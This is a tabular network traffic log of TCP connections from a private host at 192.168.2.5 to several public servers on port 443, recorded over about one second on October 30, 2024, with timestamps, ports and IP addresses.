Oct 30, 2024 23:11:36.275861979 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:36.275939941 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:36.279305935 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.279340029 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.279340029 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.296278954 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.296394110 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.297446012 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.297456026 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.300462008 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.300467968 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.300894976 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.300898075 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.303947926 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.303956032 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.304038048 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.304050922 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.304364920 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.304371119 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.304470062 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.304476023 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.304594994 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.304599047 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.304959059 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.304963112 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.311033964 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.311063051 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.311131954 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.311412096 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.311424971 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.342402935 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.342438936 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:36.342545033 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.343209982 CET	49845	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.343225002 CET	443	49845	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:36.384202003 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.384226084 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:36.384337902 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.384620905 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:36.384629965 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:36.430944920 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.431090117 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.431138039 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.431485891 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.431498051 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.431507111 CET	49840	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.431513071 CET	443	49840	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.432430983 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.432640076 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.432691097 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.433794022 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.433809042 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.433815002 CET	49837	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.433820009 CET	443	49837	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.433989048 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.434051037 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.434227943 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.434468985 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.435149908 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.435338020 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.439726114 CET	49838	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.439740896 CET	443	49838	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.439956903 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.439960957 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.439982891 CET	49836	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.439987898 CET	443	49836	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.443137884 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.443160057 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.443233013 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444047928 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444078922 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.444139004 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444212914 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444247961 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.444444895 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444492102 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.444504976 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.445801020 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.445817947 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.445929050 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.445941925 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.445955038 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.446050882 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.446062088 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.446543932 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.446564913 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.448039055 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:36.448055029 CET	443	49834	18.244.18.38	192.168.2.5
Oct 30, 2024 23:11:36.448084116 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.544261932 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.544421911 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.544575930 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.544595957 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.548491955 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.548543930 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.548552990 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.557387114 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.557454109 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.557468891 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.565799952 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.565867901 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.565881014 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.578872919 CET	49834	443	192.168.2.5	18.244.18.38
Oct 30, 2024 23:11:36.661201954 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:36.661245108 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:36.661345005 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:36.661809921 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:36.661829948 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:36.662053108 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.662082911 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:36.662136078 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.662322044 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.662332058 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:36.664105892 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.664145947 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.664197922 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.664216995 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.664263964 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.668555021 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.669224024 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.669255972 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:36.669563055 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.670517921 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:36.670537949 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:36.677167892 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.677217960 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.677229881 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.685558081 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.685606956 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.685619116 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.686012030 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.686062098 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.686069965 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.780133009 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.780148983 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.787933111 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.788016081 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.788016081 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.788029909 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.788084984 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.788093090 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.796750069 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.796797037 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.796808958 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.805253983 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.805313110 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.805325985 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.805893898 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.806090117 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.806097984 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.824306965 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.824338913 CET	443	49857	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.824403048 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.824609995 CET	49857	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:36.824619055 CET	443	49857	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:36.855268002 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.855339050 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.855355978 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.907407999 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.907461882 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.907478094 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.907736063 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.907774925 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.907783031 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.925014973 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.925054073 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.925110102 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.925126076 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.925173998 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.925533056 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.972812891 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.972827911 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.974910021 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:36.974956036 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:36.974966049 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.027429104 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.027489901 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.027523041 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.027542114 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.027559042 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.027576923 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.036277056 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.036530972 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.036542892 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.044858932 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.044918060 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.044929981 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.045317888 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.045517921 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.045525074 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.088918924 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.090770006 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.090789080 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.091939926 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.091945887 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.094639063 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.094687939 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.094702959 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.142966986 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.143100977 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.143116951 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.147260904 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.147309065 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.147310972 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.147327900 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.147365093 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.156024933 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.164964914 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.165014029 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.165014029 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.165030003 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.165095091 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.186546087 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.186666965 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.187105894 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.187124014 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.187486887 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.187504053 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.187691927 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.187697887 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.188111067 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.188119888 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.191682100 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.192145109 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.192167997 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.192576885 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.192641973 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.192646027 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.192954063 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.192965031 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.193434000 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.193437099 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.214368105 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.227096081 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.227302074 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.227415085 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.227446079 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.227457047 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.227468967 CET	49844	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.227474928 CET	443	49844	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.231040001 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.231069088 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.231159925 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.231337070 CET	49859	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.231349945 CET	443	49859	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.262670040 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.262734890 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.262753010 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.266869068 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.266927958 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.266972065 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.266982079 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.266993999 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.267031908 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.267245054 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.267354965 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.267363071 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.275844097 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.275923014 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.275935888 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.284796000 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.284833908 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.284908056 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.284923077 CET	443	49823	172.217.18.1	192.168.2.5
Oct 30, 2024 23:11:37.285070896 CET	49823	443	192.168.2.5	172.217.18.1
Oct 30, 2024 23:11:37.285896063 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.286278009 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.286288023 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.287377119 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.287467957 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.288507938 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.288573980 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.288707018 CET	49852	443	192.168.2.5	172.64.41.3
Oct 30, 2024 23:11:37.288713932 CET	443	49852	172.64.41.3	192.168.2.5
Oct 30, 2024 23:11:37.292314053 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.292505980 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.292529106 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.294050932 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.294112921 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.295299053 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.295387030 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.295815945 CET	49854	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.295828104 CET	443	49854	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.305685997 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.306035042 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.306054115 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.307488918 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.307565928 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.318340063 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.318399906 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.318914890 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.319166899 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.319345951 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.319394112 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.319967031 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.320065975 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.320175886 CET	49853	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:37.320190907 CET	443	49853	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:37.322392941 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.322392941 CET	49849	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.322408915 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322418928 CET	443	49849	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322659016 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.322671890 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322680950 CET	49850	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.322686911 CET	443	49850	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322750092 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322768927 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.322822094 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.322835922 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.323086977 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.323136091 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.324038982 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.324054956 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.324064016 CET	49847	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.324070930 CET	443	49847	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.325423002 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.325500965 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.325727940 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.327477932 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.327507973 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.327636957 CET	49848	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.327641964 CET	443	49848	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.327689886 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.327712059 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.327729940 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.327820063 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328460932 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328474998 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.328550100 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328634024 CET	49860	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328658104 CET	443	49860	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.328761101 CET	49861	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328773975 CET	443	49861	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.328948975 CET	49862	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.328964949 CET	443	49862	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.329969883 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.329977989 CET	443	49863	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:37.330048084 CET	49863	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:37.330188036 CET	49863	443	192.168.2.5	13.107.246.45
